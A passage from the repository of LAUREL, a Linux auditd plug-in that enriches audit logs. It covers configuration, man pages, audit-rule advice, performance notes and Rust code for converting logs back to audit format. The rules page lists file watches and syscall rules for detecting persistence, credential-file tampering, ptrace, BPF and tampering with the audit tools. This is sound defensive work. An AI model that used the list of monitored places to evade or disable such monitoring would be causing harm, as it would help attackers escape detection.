EXECVE.ARGV_STR entries. 78 | # Excess is cut from the middle of the argument list and a marker 79 | # indicating how many arguments / bytes have been cut is inserted. 80 | 81 | # execve-argv-limit-bytes = 10000 82 | 83 | [translate] 84 | 85 | # Perform translations of numeric values that can also be done by 86 | # auditd if configured with log_format=ENRICHED. 87 | 88 | # arch, syscall, sockaddr structures 89 | universal = false 90 | # UID, GID values 91 | user-db = false 92 | # Drop raw (numeric) syscall, arch, UID, GID values if they are translated 93 | drop-raw = false 94 | 95 | [enrich] 96 | 97 | # Add context (event-id, comm, exe, ppid) for *pid entries 98 | pid = true 99 | 100 | # List of environment variables to log for every EXECVE event 101 | execve-env = [ "LD_PRELOAD", "LD_LIBRARY_PATH" ] 102 | 103 | # Add container information to SYSCALL-based events 104 | container = true 105 | 106 | # Add container information as top-level CONTAINER_INFO record (deprecated) 107 | container_info = false 108 | 109 | # Add systemd cgroup information for processes running within systemd 110 | # services. 111 | systemd = true 112 | 113 | # Add script context to SYSCALL execve events 114 | script = true 115 | 116 | # Add groups that the user (uid) is a member of. Default: true 117 | user-groups = true 118 | 119 | # Add a prefix to enriched fields; this may be useful if logs are 120 | # consumed by analysis software that doesn't properly understand 121 | # uppercase and lowercase JSON object fields as identical. This 122 | # setting has no affect enriched fields passed in from auditd. 123 | # Default: unset 124 | # prefix = "enriched_" 125 | 126 | [label-process] 127 | 128 | # Audit records that contain certain keys can be reused as a label 129 | # attached to the process. 130 | # 131 | # This is useful in combination with audit rules such as: 132 | # -w -p x -k 133 | # e.g.: -w /usr/bin/dpkg -p x -k software_mgmt 134 | label-keys = [ "software_mgmt" ] 135 | 136 | # Labels can be attached to or removed from processes that run certain 137 | # programs. The file program file path (SYSCALL.exe or /proc/pid/exe) 138 | # is matched against regular expressions. This is useful for programs 139 | # that cannot be identified through auditd file watches (-w -p 140 | # x -k ). 141 | label-exe.'^/opt/.*/bin/java$' = 'java' 142 | label-exe.'^/usr/lib/jvm/.*/bin/java$' = 'java' 143 | label-exe.'^/snap/amazon-ssm-agent/\d+/' = 'amazon-ssm-agent' 144 | 145 | unlabel-exe."bin/php$" = "java" 146 | 147 | # Labels can be attached to or removed from processes that are started 148 | # using certain command lines. Note that there are limits on the 149 | # number of arguments and the number of bytes considered by the 150 | # matcher, see label-argv-count and label-argv-bytes 151 | label-argv."^(?:\\S+/)?java .* -Dweblogic" = "weblogic" 152 | # unlabel-argv."…" = "…" 153 | 154 | # Number of command line arguments that are considered for label-argv, 155 | # unlabel-argv. 156 | label-argv-count = 32 157 | # Number of bytes that are considered for label-argv, unlabel-argv. 158 | label-argv-bytes = 4096 159 | 160 | # Labels can be attached to or removed from processes that have been identified as 161 | # scripts. 162 | label-script."^/root/maint-.*[.]sh$" = "maint" 163 | 164 | # unlabel-script."…" = "maint" 165 | 166 | # Process Labels can be propagated to spawned child processes. This is 167 | # useful for marking an entire subtree of children that have been 168 | # spawned within certain contexts (e.g. system management tools, 169 | # container runtimes, ssh servers, cron, etc.). 170 | propagate-labels = [ "software_mgmt", "amazon-ssm-agent" ] 171 | 172 | [filter] 173 | 174 | # When audit records with attached keys are being generated, 175 | # LAUREL will discard these. 176 | 177 | # filter-keys = ["filter-this"] 178 | 179 | # In addition to key based filtering it is also possible to configure label based 180 | # filtering. This alows the possibility to filter based on parent processes. 181 | 182 | # filter-labels = ["software_mgmt"] 183 | 184 | # Filter events without specified key 185 | 186 | filter-null-keys = false 187 | 188 | # Filter events that contain SOCKADDR entries matching CIDR and/or ports 189 | # Valid expresions: 190 | # - "ipv4" 191 | # - "ipv6", "[ipv6]" 192 | # - "ipv4:port" 193 | # - "ipv4/bits:port" 194 | # - "[ipv6]:port" 195 | # - "[ipv6/bits]:port" 196 | # - "*:port" 197 | # filter-sockaddr = [ "127.0.0.1", "192.168.0.0/24:22", "::/64", "[2a00:1450:4001:82f::200e]:443", "*:111" ] 198 | 199 | # Filter events that were constructed from input lines matching these 200 | # regular expressions 201 | # filter-raw-lines = [ 202 | # "^type=PATH msg=\\S*? item=\\S*? name=\"/var/run/nscd[.]sock\" " 203 | # ] 204 | 205 | # Keep the first event observed for any given process even if it would 206 | # be filtered otherwise. This should only be turned off if 207 | # reproducible process tracking or process tree reconstruction is not 208 | # required. 209 | # keep-first-per-process = true 210 | 211 | # What to do with filtered events? "drop" or "log" to the filterlog 212 | # defined above. 213 | filter-action = "drop" 214 | -------------------------------------------------------------------------------- /man/.gitignore: -------------------------------------------------------------------------------- 1 | *.[78] 2 | -------------------------------------------------------------------------------- /man/Makefile: -------------------------------------------------------------------------------- 1 | TGTS := laurel.8 laurel-about.7 laurel-audit-rules.7 laurel2audit.8 2 | SRCS := $(patsibst %,%.md,$(TGTS)) 3 | 4 | .PHONY: all 5 | all: $(TGTS) 6 | 7 | %: %.md 8 | pandoc -s -t man -o $@ $^ 9 | 10 | %.html: %.md 11 | pandoc -s -t html -o $@ $^ 12 | 13 | .PHONY: clean 14 | clean: 15 | rm -f $(TGTS) 16 | -------------------------------------------------------------------------------- /man/laurel-audit-rules.7.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: laurel - Advice for writing Audit rulesets for use with `laurel(8)` 3 | section: 7 4 | header: System Administration Utilities 5 | footer: laurel 0.7.2 6 | --- 7 | # NAME 8 | laurel-audit-rules - Advice for writing Audit rulesets for use with `laurel(8)` 9 | 10 | # SYNOPSIS 11 | This page contains suggestions for Linux Audit rulesets that are 12 | useful to aid in detecting common attacker's tactics. 13 | 14 | # Note about auditctl(8) error messages 15 | 16 | It is not possible for /auditctl(8)/ ro load file watches for files or 17 | directories that are not present. Depending on the rule set, it will 18 | spam possibly lots of error messages to standard error. The specific 19 | file watches are not installed, but those error messages can be 20 | ignored otherwise. 21 | 22 | # File watches 23 | ## Authentication/authorization 24 | ``` 25 | -w /etc/group -p wa -k wr_group 26 | -w /etc/passwd -p wa -k wr_passwd 27 | -w /etc/shadow -p wa -k wr_passwd 28 | -w /etc/pam.conf -p wa -k wr_pam 29 | -w /etc/pam.d/ -p wa -k wr_pam 30 | -w /etc/ssh/sshd_config -p wa -k wr_sshd 31 | -w /etc/sudoers -p wa -k wr_sudo 32 | -w /etc/sudoers.d -p wa -k wr_sudo 33 | ``` 34 | ## cron, at 35 | ``` 36 | -w /etc/crontab -p wa -k wr_cron 37 | -w /etc/cron.d/ -p wa -k wr_cron 38 | -w /etc/cron.daily/ -p wa -k wr_cron 39 | -w /etc/cron.hourly/ -p wa -k wr_cron 40 | -w /etc/cron.monthly/ -p wa -k wr_cron 41 | -w /etc/cron.weekly/ -p wa -k wr_cron 42 | -w /etc/cron.yearly/ -p wa -k wr_cron 43 | -w /etc/cron.allow -p wa -k wr_cron 44 | -w /etc/cron.deny -p wa -k wr_cron 45 | -w /var/spool/cron/crontabs/ -p wa -k wr_cron 46 | -w /etc/at.allow -p wa -k wr_cron 47 | -w /etc/at.deny -p wa -k wr_cron 48 | -w /var/spool/cron/atjobs/ -p wa -k wr_cron 49 | ``` 50 | ## systemd 51 | 52 | Systemd also has cron-like timer mechanism. udev triggers have also 53 | been abused for persistence. Note that watching the files in `/etc` is 54 | not sufficient. 55 | ``` 56 | -w /etc/systemd -p wa -k wr_systemd 57 | -w /lib/systemd -p wa -k wr_systemd 58 | -w /usr/lib/systemd -p wa -k wr_systemd 59 | -w /etc/udev -p wa -k wr_systemd 60 | -w /lib/udev -p wa -k wr_systemd 61 | -w /usr/lib/udev -p wa -k wr_systemd 62 | ``` 63 | ## Dynamic linkers 64 | ``` 65 | -w /lib/ld-linux.so.2 -p wa -k wr_ldso 66 | -w /lib64/ld-linux-x86-64.so.2 -p wa -k wr_ldso 67 | -w /lib/ld-musl-x86_64.so.1 -p wa -k wr_ldso 68 | -w /lib/ld-musl-i386.so.1 -p wa -k wr_ldso 69 | -w /etc/ld.so.conf -p wa -k wr_ldso 70 | -w /etc/ld.so.conf.d -p wa -k wr_ldso 71 | -w /etc/ld.so.preload -p wa -k wr_ldso 72 | ``` 73 | 74 | ## Mandatory access control (SELinux, AppArmor) manipulation 75 | ``` 76 | -w /etc/selinux -p wa -k wr_selinux 77 | -w /usr/share/selinux -p wa -k wr_selinux 78 | -w /usr/libexec/selinux -p wa -k wr_selinux 79 | 80 | -w /etc/apparmor.d -p wa -k wr_apparmor 81 | -w /usr/lib/apparmor -p wa -k wr_apparmor 82 | -w /usr/share/apparmor -p wa -k wr_apparmor 83 | -w /usr/share/apparmor-features -p wa -k wr_apparmor 84 | ``` 85 | 86 | ## Kernel modules 87 | ``` 88 | -w /etc/modprobe.conf -p wa -k wr_modules 89 | -w /etc/modprobe.d/ -p wa -k wr_modules 90 | -w /lib/modules/ -p wa -k wr_modules 91 | ``` 92 | 93 | ## Auditd + Laurel 94 | ``` 95 | -w /etc/audit/ -p wa -k wr_audit_config 96 | -w /etc/libaudit.conf -p wa -k wr_audit_config 97 | -w /etc/audisp/ -p wa -k wr_audit_config 98 | -w /etc/laurel/ -p wa -k wr_laurel_confg 99 | ``` 100 | 101 | # Log specific program executions 102 | 103 | ## Possible tampering with auditd, laurel 104 | ``` 105 | -w /sbin/auditctl -p x -k wr_audit_tools 106 | -w /sbin/auditd -p x -k wr_audit_tools 107 | -w /usr/sbin/laurel -p x -k wr_audit_tools 108 | ``` 109 | 110 | # Log specific "harmless" programs executions 111 | Adding context to system service activities is useful because together 112 | with Laurel's process labels (`label-process.label-keys`, 113 | `label-process.propagate-labels`), it enables more accurate detection 114 | rules that can help recognize benign system management activity. 115 | ``` 116 | -w /usr/sbin/sshd -p x -k sshd 117 | 118 | -w /usr/bin/yum -p x -k pkg_mgmt 119 | -w /usr/bin/rpm -p x -k pkg_mgmt 120 | -w /usr/bin/dnf -p x -k pkg_mgmt 121 | -w /usr/bin/dpkg -p x -k pkg_mgmt 122 | -w /usr/bin/apt -p x -k pkg_mgmt 123 | -w /usr/bin/apt-get -p x -k pkg_mgmt 124 | -w /usr/bin/apt-key -p x -k pkg_mgmt 125 | -w /usr/bin/apt-add-repository -p x -k pkg_mgmt 126 | -w /usr/bin/aptitude -p x -k pkg_mgmt 127 | -w /usr/bin/aptitude-curses -p x -k pkg_mgmt 128 | -w /usr/bin/wajig -p x -k pkg_mgmt 129 | -w /usr/bin/snap -p x -k pkg_mgmt 130 | -w /usr/sbin/yast2 -p x -k pkg_mgmt 131 | -w /usr/bin/zypper -p x -k pkg_mgmt 132 | 133 | -w /usr/bin/containerd -p x -k container 134 | -w /usr/bin/podman -p x -k container 135 | -w /usr/bin/runc -p x -k container 136 | -w /usr/bin/dockerd -p x -k container 137 | -w /usr/bin/docker -p x -k container 138 | -w /usr/bin/docker-containerd -p x -k container 139 | -w /usr/bin/docker-runc -p x -k container 140 | 141 | -w /usr/sbin/cron -p x -k sched_task 142 | -w /usr/sbin/atd -p x -k sched_task 143 | 144 | -w /usr/sbin/httpd -p x -k apache-httpd 145 | -w /usr/local/apache2/bin/httpd -p x -k apache-httpd 146 | 147 | -w /usr/sbin/nginx -p x -k nginx 148 | -w /usr/local/nginx/sbin/nginx -p x -k nginx 149 | -w /usr/local/openresty/nginx/sbin/nginx -p x -k nginx 150 | ``` 151 | # Syscalls 152 | 153 | ## Log all fork and exec calls for reliable process tracking 154 | 155 | For reliable process tracking that is required for assigning and 156 | propagating process labels, it is useful to have the Linux Audit 157 | subsystem produce events for all `fork`/`exec` style syscalls. 158 | ``` 159 | ## Ignore clone( flags=CLONE_VM|… ), log other process-creating calls 160 | -a never,exit -F arch=b32 -S clone -F a2&0x100 161 | -a never,exit -F arch=b64 -S clone -F a2&0x100 162 | -a always,exit -F arch=b32 -S fork,vfork,clone,clone3 -k fork 163 | -a always,exit -F arch=b64 -S fork,vfork,clone,clone3 -k fork 164 | -a always,exit -F arch=b32 -S execve,execveat 165 | -a always,exit -F arch=b64 -S execve,execveat 166 | ``` 167 | It is only important that Laurel gets to observe these events. To 168 | reduce log volume, Laurel's filtering settings should be used, e.g.: 169 | ``` ini 170 | [filter] 171 | filter-keys = ["fork"] 172 | filter-action = drop 173 | keep-first-per-process = true 174 | ``` 175 | 176 | ## Log usage of ptrace 177 | 178 | We are interested in ptrce usage, but not in every transaction (`PEEK`, `POKE`, `CONT`) 179 | ``` 180 | -a never,exit -F arch=b32 -S ptrace -F a0>=1 -F a0<=7 181 | -a never,exit -F arch=b64 -S ptrace -F a0>=1 -F a0<=7 182 | -a always,exit -F arch=b32 -S ptrace 183 | -a always,exit -F arch=b64 -S ptrace 184 | ``` 185 | ## Log BPF usage 186 | 187 | Usage of BPF should be restricted to few processes; log everything 188 | except data transfer operations because they would put too much load 189 | on the system. 190 | ``` 191 | -a never,exit -F arch=b32 -S bpf -F a0>=1 -F a0<=4 192 | -a never,exit -F arch=b64 -S bpf -F a0>=1 -F a0<=4 193 | -a never,exit -F arch=b32 -S bpf -F a0>=0xb -F a0<=0xf 194 | -a never,exit -F arch=b64 -S bpf -F a0>=0xb -F a0<=0xf 195 | -a never,exit -F arch=b32 -S bpf -F a0=0x13 196 | -a never,exit -F arch=b64 -S bpf -F a0=0x13 197 | -a always,exit -F arch=b32 -S bpf -F success=1 198 | -a always,exit -F arch=b64 -S bpf -F success=1 199 | ``` 200 | ## Log kernel module loading, unloading 201 | ``` 202 | -a always,exit -F arch=b32 -S init_module,finit_module,delete_module -k module 203 | -a always,exit -F arch=b64 -S init_module,finit_module,delete_module -k module 204 | ``` 205 | 206 | # SEE ALSO 207 | `audit.rules(7)`, `laurel(8)` 208 | 209 | # AUTHOR 210 | - Hilko Bengen <> 211 | -------------------------------------------------------------------------------- /man/laurel.8.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: laurel 3 | section: 8 4 | header: System Administration Utilities 5 | footer: laurel 0.7.2 6 | --- 7 | 8 | # NAME 9 | laurel(8) -- transform, enrich Linux audit logs 10 | 11 | # SYNOPSIS 12 | 13 | `laurel` is an `auditd(8)` plug-in that parses Linux audit events, 14 | enriches them with local information, and transforms them into a 15 | JSON Lines-based output format intended for consumption by log 16 | processing and SIEM software. 17 | 18 | # OPTIONS 19 | **-c FILE**, **-\-config=FILE** 20 | : path to configuration file (default: unset) 21 | 22 | **-d**, **-\-dry-run** 23 | : Only parse configuration and exit 24 | 25 | **-h**, **-\-help** 26 | : Print short help text and exit 27 | 28 | **-v**, **-\-version** 29 | : Print version and exit 30 | 31 | # DESCRIPTION 32 | 33 | `laurel` is typically configured to be spawned by `auditd(8)` itself or by 34 | `audispd(8)` (for 2.x _auditd_ versions). All audit events are fed to 35 | `laurel` via its standard input channel. 36 | 37 | Sample configuration file `/etc/audit/plugins.d/laurel.conf`: 38 | ``` 39 | active = yes 40 | direction = out 41 | type = always 42 | format = string 43 | path = /usr/sbin/laurel 44 | args = --config /etc/laurel/config.toml 45 | ``` 46 | 47 | An alternative setup consists of an AF_UNIX socket to which 48 | `auditd(8)` writes events. A connection is then established by 49 | `laurel` (see `input` setting below). In this case, the operator is 50 | responsible for starting and restarting `laurel`. 51 | 52 | Example configuration file: 53 | ``` 54 | active = yes 55 | direction = out 56 | path = builtin_af_unix 57 | type = builtin 58 | args = 0600 /var/run/laurel.sock 59 | format = string 60 | ``` 61 | 62 | # CONFIGURATION 63 | 64 | Configuration of `laurel` itself is done through a single 65 | configuration file in TOML format. 66 | 67 | ## main section 68 | 69 | This section contains basic operation parameters. 70 | 71 | - `user`: `laurel` is started as `root` by `auditd`, but it drops to 72 | a dedicated user as soon as possible. Default: unset 73 | - `directory`: The base directory into which all files are written. 74 | Default: `.` (current directory) 75 | - `statusreport-period`: How often stats are written to Syslog, in 76 | seconds. Default: unset 77 | - `input`: `laurel` can consume audit events from standard input or 78 | connect to a listening socket specified as `unix:/path/to/socket` at 79 | start. Defaulkt: `stdin` 80 | - `marker`: A string that is written to the log on startup and 81 | whenever `laurel` writes a status report. Default: none 82 | 83 | 84 | 85 | ## `[auditlog]` section 86 | 87 | This section describes the main audit log file. `laurel` performs its 88 | own log file rotation, just like `auditd(8)`. 89 | 90 | - `file`: Filename for the audit log file. Default: `audit.log` 91 | - `size`: Size in bytes after which the log file is rotated. Default: 92 | 10MiB 93 | - `generations`: Number of generations to keep after rotation. 94 | Default: 5 95 | - `read-users`: List of users that are granted read access 96 | to the log file using POSIX ACLs. Default: empty 97 | - `read-group`: List of groups that are granted read access 98 | to the log file using POSIX ACLs. Default: empty 99 | - `read-other`: Whether all users are granted read access to the log 100 | file. Default: false 101 | - `line-prefix`: A string that is prepended to every line. Default: 102 | unset 103 | 104 | ## `[filterlog]` section 105 | 106 | This section describes the log file for filtered-out log events (see 107 | below). The `file`, `size`, `generations`, `read-users`, `line-prefix` 108 | configuration items work just like for the audit log. 109 | 110 | ## `[state]` section 111 | 112 | This section describes the state file. `laurel` uses this file on 113 | restart to keep track of running processes. The state file contains 114 | snapshots of the user database cache, process list, currently used 115 | events and a list of event ids that have already been processed. 116 | 117 | - `file`: Filename for the state file. Set to empty string to disable 118 | keeping state on disk. Default: `state` 119 | - `generations`: Number of generations of the state file to keep for 120 | debugging purposes. Default: 0; it should only be increased for 121 | debugging purposes. 122 | - `max-age`: Number of seconds after which the state file is 123 | considered stale. Default: 60 124 | - `write-state-period`: How often the state file is written to the 125 | filesystem, in seconds. Default: unset 126 | 127 | ## `[transform]` section 128 | 129 | - `execve-argv`: The list of `EXECVE.a*` fields are transformed to an 130 | `ARGV` list or `ARGV_STR` string. Set to `array`, `string` (or 131 | both). Default: `array` 132 | - `execve-argv-limit-bytes`: Arguments are cut out of the middle long 133 | argument lists in `EXECVE.ARGV` or `EXECVE.ARGV_STR` so that this 134 | limit is not exceeded. Default: unset 135 | 136 | ## `[translate]` section 137 | 138 | Options that can be configured here correspond to what `auditd(8)` 139 | does when configured with `log_format=ENRICHED`. 140 | 141 | - `userdb`: Add translations for `uid` and `gid` fields. Default: false 142 | - `universal`: Add translations for everything else: `SYSCALL.arch`, 143 | `SYSCALL.syscall`, `SOCKADDR.saddr` 144 | - `drop-raw`: Drop raw (numeric) syscall, arch, UID, GID values if 145 | they are translated. Default: false 146 | 147 | ## `[enrich]` section 148 | 149 | Options that can be configured here actually add information to events 150 | 151 | - `execve-env`: A list of environment variables to dump for `exec` 152 | events. Default: `["LD_PRELOAD", "LD_LIBRARY_PATH"]` 153 | - `container`: Add container information for processes running within 154 | container runtimes as `SYSCALL.PID.container`. Default: true 155 | - `systemd`: Add systemd cgroup information for processes running 156 | within systemd services as `SYSCALL.PID.systemd_service`. Default: 157 | true 158 | - `container_info`: Add container information as top-level 159 | `CONTAINER_INFO` key. Deprecated; default: false 160 | - `pid`: Add context information for process IDs. Default: true 161 | - `script`: If an `exec` syscall spawns a script (as opposed to a 162 | binary), add a `SCRIPT` entry to the `SYSCALL` record. A script is 163 | assumed if the first `PATH` entry does not correspond to file 164 | mentioned in `SYSCALL.exe`. Default: true 165 | - `user-groups`: Add groups that the user ("uid") is a member of. 166 | Default: true 167 | - `prefix`: Add a prefix to enriched fields; this may be useful if 168 | logs are onsumed by analysis software that doesn't properly 169 | understand uppercase and lowercase JSON object fields as identical. 170 | This setting does not affect enriched fields passed in from 171 | `auditd(8)`. Default: unset 172 | 173 | ## `[label-process]` section 174 | 175 | Labels can be attached to processes and are added to any event 176 | associated with those processes. These labels can be propagated from 177 | parent to child processes. 178 | 179 | - `label-exe. = `: Regular expressions/label 180 | mappings applied to binary executables (`SYSCALL.exe`) on `execve` 181 | calls. Default: none 182 | - `label-argv. = `: Regular expressions/label 183 | mappings applied to the command line (`EXECVE.a*`) on `execve` 184 | calls. Default: none 185 | - `label-script. = `: Regular expressions/label 186 | mappings applied to scripts (`SYSCALL.SCRIPT`, see `enrich.script` 187 | description above) on `exec` calls. Default: none 188 | - `label-keys`: A list of keys that are applied as a process label, 189 | see `auditctl(8)`'s `-k` option. Default: none 190 | - `unlabel-exe. = `: Like `label-exe`, but for 191 | removing labels 192 | - `unlabel-argv. = `: Like `label-argv`, but for 193 | removing labels 194 | - `unlabel-script. = `: Like `label-script`, but 195 | for removing labels 196 | - `label-argv-count` Number of command line arguments that are 197 | considered for `label-argv`, `unlabel-argv`. Default: 32 198 | - `label-argv-bytes` Number of bytes that are considered for 199 | `label-argv`, `unlabel-argv`. Default: 4096 200 | - `propagate-labels`: List of labels that are propagated to child 201 | processes. Default: empty 202 | 203 | ## `[filter]` section 204 | 205 | Filters make `laurel` drop entire events from the log file while still 206 | using them for internal processing such as process tracking. 207 | 208 | - `filter-keys`: A list of strings that are matched against 209 | `SYSCALL.key` to drop the event. Default: empty 210 | - `filter-null-keys`: Filter events without specified key. Default: false 211 | - `filter-labels`: A list of strings that are matched against process 212 | labels. Default: empty 213 | - `filter-sockaddr`: Filter events that contain SOCKADDR entries 214 | matching CIDR and/or ports. IPv4 and IPv6 addresses with optional 215 | bitmask and port numbers or plain port numbers can be specified. Examples: 216 | - `127.0.0.1` 217 | - `192.168.0.0/24:22` 218 | - `::/64` 219 | - `[2a00:1450:4001:82f::200e]:443` 220 | - `*:111` 221 | Default: empty list 222 | - `filter-raw-lines`: A list of regular expression that are matched 223 | against individual input lines as written by `auditd(8)`. Events 224 | that contain such lines are then filtered. Default: empty 225 | - `filter-action`: What to do with filtered events? `drop` or `log` to the 226 | filterlog defined above. 227 | - `keep-first-per-process`: Keep the first event observed for any 228 | given process even if it would be filtered otherwise. This should 229 | only be turned off if reproducible process tracking or process tree 230 | reconstruction is not required. Default: true 231 | 232 | # SIGNALS 233 | 234 | `SIGHUP` causes `laurel` to process any buffered input and restart. It 235 | can be used to reconfigure `laurel` without having restarting 236 | `auditd(8)` which would likely lead to lost audit messages. 237 | 238 | # SEE ALSO 239 | `auditd(8)`, `auditd-plugins(5)`, `audit.rules(7)`, `laurel-about(7)`, `laurel-audit-rules(7)` 240 | 241 | # AUTHORS 242 | - Hilko Bengen <> 243 | - Sergej Schmidt <> 244 | -------------------------------------------------------------------------------- /man/laurel2audit.8.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: laurel2audit 3 | section: 8 4 | header: System Administration Utilities 5 | footer: laurel 0.7.2 6 | --- 7 | 8 | # NAME 9 | 10 | laurel2audit(8) -- transform Laurel logs to back to original Linux Audit format 11 | 12 | # SYNOPSIS 13 | 14 | This is a simple filter that reads logs written by `laurel(8)` and 15 | outputs Linux Audit logs that the audit tools and `laurel` itself 16 | should be able to digest. 17 | 18 | # NOTES 19 | 20 | "Enriched" (i.e. ALL_CAPS) keys in audit records are discarded. 21 | 22 | `EXECVE` records are output on one, possibly very long, line. 23 | 24 | If `laurel` has transformed `EXECVE` argument lists to single strings 25 | (`ARGV_STR`), that transformation may have been lossy: There is no way 26 | to discern space characters as gaps between arguments from space 27 | characters as part of individual arguments. 28 | 29 | An end-of-event (`EOE`) marker is output for every event. This marker 30 | is not part of the original `audit.log` file, but it has originally 31 | been transmitted by the kernel and is passed by `auditd(8)` to 32 | plugins. 33 | 34 | # BUGS 35 | 36 | - URL-encoded single bytes within strings are not yet handled. 37 | - Possibly more. 38 | 39 | # SEE ALSO 40 | 41 | `laurel(8)`, `aulast(8)`, `aulastlog(8)`, `aureport(8)`, `ausearch(8)`, `ausyscall(8)`, `auvirt(8)` 42 | 43 | # AUTHORS 44 | 45 | - Hilko Bengen <> 46 | -------------------------------------------------------------------------------- /performance.md: -------------------------------------------------------------------------------- 1 | # _LAUREL_ Performance 2 | 3 | While _LAUREL_ was written with performance in mind, running it on busy systems with audit rule sets that actually produce log entries does incur some CPU overhead. 4 | 5 | We have conducted benchmarks of _LAUREL_ against _auditd_ and several other tools. A load generator that spawns trivial processes (`/bin/true`) at a set frequency was used to generate load and CPU time (system+user) for all processes involved was measured. The number of exec events per second was chosen due to our experience with systems where hundreds of processes are spawned during regular operation. A custom tool, [edr-loadgen](https://github.com/hillu/edr-loadgen), was written for this task. 6 | 7 | ![CPU overhead under load](performance.svg) 8 | 9 | As can be seen in the graph CPU consumption by _auditd(8)_, its event dispatcher, and _LAUREL_ combined is about twice as high as with a plain _auditd(8)_ setup using the `log_format=ENRICHED` configuration option. We still see several oppurtunities for improvements. 10 | 11 | All measurements involving the Linux audit framework were conducted on an AWS EC2 t2.small instance running Amazon Linunx 2. Since Sysmon for Linux does not (yet?) support that distribution's kernel version, it was tested on Ubuntu 20.04. 12 | 13 | ## Notes 14 | 15 | 1. CPU usage for all user-space processes that are involved in collecting and emitting events was measured. In _LAUREL's_ case, this included _auditd_ and _audispd_. Sysmon for Linux writes its events through _systemd-journald(8)_, so its CPU usage also had to be taken into account. Both _go-audit_ and _auditbeat_ are replacements for _auditd_ that directly consume events from the kernel, so CPU usage had to be recorded only for one process. 16 | 2. The numbers for Sysmon for Linux should be taken with a grain of salt since the experiments conducted so far only took CPU usage into account that was directly attributed to user-space processes. We are open to suggestions on how to compare the kernel/user interface for the Linux audit framework to the eBPF probes used by Sysmon. 17 | 3. The log file produced by [_go-audit_](https://github.com/slackhq/go-audit) is JSONL-based which might lead to the conclusion that replacing _auditd_ with _go-audit_ might be a good choice. However _go-audit_ solves only one of the log format quirks described in [Practical _auditd(8)_ problems](practical-auditd-problems.md) and does not even perform all of the translations that _auditd_ does when configured with `log_format=ENRICHED`. 18 | 19 | ## Raw data 20 | 21 | The data is can be found in the `contrib/performacne-data` subdirectory. 22 | 23 | -------------------------------------------------------------------------------- /src/bin/laurel2audit/main.rs: -------------------------------------------------------------------------------- 1 | use indexmap::IndexMap; 2 | 3 | use serde::Deserialize; 4 | 5 | use std::io::BufRead; 6 | 7 | #[derive(Deserialize)] 8 | #[serde(untagged)] 9 | enum EventValues { 10 | Single(Record), 11 | Multi(Vec), 12 | } 13 | 14 | #[derive(Deserialize, Default)] 15 | struct Record(IndexMap); 16 | 17 | #[derive(Deserialize)] 18 | struct Event { 19 | #[serde(rename = "ID")] 20 | id: String, 21 | #[serde(rename = "NODE")] 22 | node: Option, 23 | #[serde(flatten)] 24 | events: IndexMap, 25 | } 26 | 27 | // copy form parser.rs 28 | #[inline(always)] 29 | fn is_safe_chr(c: u8) -> bool { 30 | c == b'!' || (b'#'..=b'~').contains(&c) 31 | } 32 | 33 | fn print_record(typ: &str, r: &Record) { 34 | use serde_json::Value; 35 | let mut kv = r.0.clone(); 36 | 37 | if typ == "AVC" { 38 | for key in &["denied", "granted"] { 39 | if let Some(Value::Array(permissions)) = kv.get(*key) { 40 | let mut pstr = String::default(); 41 | for p in permissions.iter().map(|v| v.as_str().unwrap_or_default()) { 42 | if !pstr.is_empty() { 43 | pstr.push_str(", "); 44 | } 45 | pstr.push_str(p); 46 | } 47 | print!(" avc: {key} {{ {pstr} }} for "); 48 | kv.shift_remove(*key); 49 | } 50 | } 51 | } 52 | 53 | for (n, (k, v)) in kv.iter().enumerate() { 54 | if n == 4 && typ == "SYSCALL" { 55 | if let Some(Value::Array(a)) = kv.get("ARGV") { 56 | for (n, v) in a.iter().enumerate() { 57 | if let Value::String(s) = v { 58 | if !s.starts_with("0x") { 59 | continue; 60 | } 61 | print!(" a{n}={}", &s[2..]); 62 | } 63 | } 64 | } 65 | } 66 | if k == &k.to_uppercase() { 67 | continue; 68 | } 69 | print!(" {k}="); 70 | match v { 71 | Value::String(s) if ["scontext", "tclass", "tcontext"].contains(&k.as_str()) => { 72 | print!("{s}"); 73 | } 74 | Value::String(s) => { 75 | let b: &[u8] = s.as_bytes(); 76 | if b.iter().cloned().all(is_safe_chr) { 77 | if (b.starts_with(b"0x") || b.starts_with(b"0o")) 78 | && ["SYSCALL", "PATH"].contains(&typ) 79 | { 80 | print!("{}", &s[2..]); 81 | } else { 82 | print!("{v}"); 83 | } 84 | } else { 85 | b.iter().for_each(|c| print!("{:02X}", c)); 86 | } 87 | } 88 | Value::Array(_) => { 89 | todo!() 90 | } 91 | Value::Object(_) => { 92 | todo!() 93 | } 94 | _ => print!("{v}"), 95 | }; 96 | } 97 | println!(); 98 | } 99 | 100 | fn main() { 101 | let stdin = std::io::stdin().lock(); 102 | for line in stdin.lines() { 103 | let line = match line { 104 | Ok(l) => l, 105 | Err(e) => { 106 | println!("error: {e}"); 107 | continue; 108 | } 109 | }; 110 | let ev: Event = match serde_json::from_str(&line) { 111 | Ok(v) => v, 112 | Err(e) => { 113 | println!("error: {e}"); 114 | continue; 115 | } 116 | }; 117 | let msgid = ev.id; 118 | let prefix = match ev.node { 119 | Some(node) => format!("node={node} msg=audit({msgid}): "), 120 | None => format!("msg=audit({msgid}):"), 121 | }; 122 | for (typ, body) in ev.events.iter() { 123 | match (typ.as_str(), body) { 124 | ("PARENT_INFO", _) => continue, 125 | ("EXECVE", EventValues::Single(r)) => { 126 | let mut r2 = Record::default(); 127 | match r.0.get("argc") { 128 | None => continue, 129 | Some(n) => r2.0.insert("argc".into(), n.clone()), 130 | }; 131 | if let Some(serde_json::Value::String(s)) = r.0.get("ARGV_STR") { 132 | for (n, arg) in s.split(' ').enumerate() { 133 | r2.0.insert(format!("a{n}"), serde_json::Value::String(arg.into())); 134 | } 135 | } else if let Some(serde_json::Value::Array(a)) = r.0.get("ARGV") { 136 | for (n, arg) in a.iter().enumerate() { 137 | r2.0.insert(format!("a{n}"), arg.clone()); 138 | } 139 | } else { 140 | continue; 141 | } 142 | print!("type={typ} {prefix}"); 143 | print_record(typ, &r2); 144 | } 145 | (_, EventValues::Single(r)) => { 146 | print!("type={typ} {prefix}"); 147 | print_record(typ, r); 148 | } 149 | (_, EventValues::Multi(rs)) => { 150 | for r in rs { 151 | print!("type={typ} {prefix}"); 152 | print_record(typ, r); 153 | } 154 | } 155 | }; 156 | } 157 | println!("type=EOE {prefix} "); 158 | } 159 | } 160 | -------------------------------------------------------------------------------- /src/const.rs.in: -------------------------------------------------------------------------------- 1 | use lazy_static::lazy_static; 2 | use std::collections::HashMap; 3 | 4 